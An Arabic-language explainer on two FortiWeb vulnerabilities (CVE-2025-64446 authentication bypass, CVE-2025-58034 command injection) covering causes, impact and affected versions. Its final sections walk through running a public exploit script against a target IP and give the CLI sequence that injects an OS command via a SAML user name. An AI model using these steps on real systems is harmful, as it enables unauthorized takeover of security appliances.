التعرف على ثغرات Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

1. نظرة عامة

Fortinet FortiWeb هو جهاز جدار حماية تطبيقات الويب (Web Application Firewall - WAF) يُستخدم على نطاق واسع في أنظمة المؤسسات لحماية تطبيقات الويب من التهديدات الشائعة.

نظرًا لأن FortiWeb يقع عادةً في طبقة الحماية المركزية، فإن الثغرات المتعلقة بالمصادقة أو تنفيذ أوامر نظام التشغيل قد تؤثر بشكل خطير على البنية التحتية بأكملها خلفه. في عام 2025، تم الإعلان عن ثغرتين خطيرتين في FortiWeb:

• CVE-2025-64446 – تجاوز المصادقة عبر اجتياز المسار النسبي (Relative Path Traversal)

• CVE-2025-58034 – حقن أوامر نظام التشغيل (OS Command Injection) في سياق مصادق عليه

• 2. نظرة عامة حول CVE-2025-64446

2.1 نوع الثغرة

• اجتياز المسار النسبي (Relative Path Traversal)
• تجاوز المصادقة (Authentication Bypass)

2.2 سبب وجود الثغرة

تنبع CVE-2025-64446 من قيام FortiWeb بمعالجة وفحص مسارات الوصول بشكل غير صارم قبل تطبيق آلية المصادقة.

على وجه التحديد:

• آلية التحكم في الوصول تعتمد على سلسلة المسار المنطقية
• عدم إجراء تسوية (normalize) كاملة للمسار
• السماح باستخدام المسارات النسبية للوصول إلى الموارد الداخلية

يؤدي هذا الخطأ إلى إمكانية الوصول إلى بعض نقاط نهاية الإدارة (endpoints) دون الحاجة إلى مصادقة صالحة.

2.3 الأضرار الأمنية

• تجاوز آلية المصادقة بالكامل
• الوصول غير المصرح به إلى وظائف الإدارة
• كسر نموذج الصلاحيات الخاص بجهاز الأمان

2.4 الإصدارات المتأثرة

• FortiWeb 8.0.0 – 8.0.1
• FortiWeb 7.6.0 – 7.6.4
• FortiWeb 7.4.0 – 7.4.9
• FortiWeb 7.2.0 – 7.2.11
• FortiWeb 7.0.0 – 7.0.11

---

3. نظرة عامة حول CVE-2025-58034

3.1 نوع الثغرة

• حقن أوامر نظام التشغيل (OS Command Injection) (CWE-78)

3.2 سبب وجود الثغرة

تنشأ CVE-2025-58034 بسبب معالجة FortiWeb لبيانات إدخال المستخدم بشكل غير آمن أثناء استدعاء أوامر نظام التشغيل.

تشمل الأسباب الرئيسية:

• معاملات الإدخال غير مفحوصة بدقة
• غياب آلية لتصفية أو تهريب (escape) الأحرف الخاصة
• تمرير بيانات المستخدم مباشرةً إلى أوامر النظام

تتطلب هذه الثغرة سياقًا مصادقًا عليه، ولكنها تحمل درجة خطر عالية نظرًا لارتباطها بتنفيذ الأوامر.

3.3 الأضرار الأمنية

• تنفيذ أوامر نظام تشغيل غير مقصودة
• الوصول إلى موارد النظام والتلاعب بها
• التأثير على سلامة الجهاز وتوافره

3.4 الإصدارات المتأثرة

• FortiWeb 8.0.0 – 8.0.1
• FortiWeb 7.6.0 – 7.6.5
• FortiWeb 7.4.0 – 7.4.10
• FortiWeb 7.2.0 – 7.2.11
• FortiWeb 7.0.0 – 7.0.11

---

4. طريقة الاستغلال (بالاستناد إلى PoC المتاح - CVE-2025-64446)

4.1 استنساخ المستودع (تنزيل الكود المصدري إلى الجهاز)

git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034

4.2 إعداد البيئة الافتراضية (venv)

تُستخدم البيئة الافتراضية للغة بايثون (venv) لإنشاء بيئة عمل مستقلة لكل مشروع، مما يساعد على عزل المكتبات التابعة عن نظام Python الرئيسي. ويساعد ذلك في تجنب تعارضات إصدارات المكتبات، وضمان استقرار بيئة العمل، والحد من التأثير على النظام.

python3 -m venv venv source venv/bin/activate

4.3 تثبيت الحزم التابعة (الاعتماديات):

pip install -r requirements.txt

4.4 تشغيل عملية الاستغلال بالكامل

python exploit.py <target_ip>

5. طريقة استغلال CVE-2025-58034 باستخدام أوامر CLI (تُنفَّذ من واجهة سطر الأوامر في FortiWeb بعد المصادقة)

config user saml-user

edit "<YOUR COMMAND>"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

تنشأ ثغرة CVE-2025-58034 بسبب عدم قيام FortiWeb بمراقبة بيانات الإدخال بدقة في بعض حقول الإعدادات، خاصة القيمة التي تُمرَّر عبر الأمر: edit "" المشكلة: يتم التعامل مع هذه القيمة كسلسلة إعدادات ثم تُدخل في أوامر نظام التشغيل الداخلية ولا يتم تصفية أو تهريب (escape) الأحرف الخاصة بشكل كافٍ يؤدي هذا إلى إمكانية تأثير بيانات الإعدادات مباشرةً على أمر نظام التشغيل المنفَّذ، مما يسبب ثغرة OS Command Injection.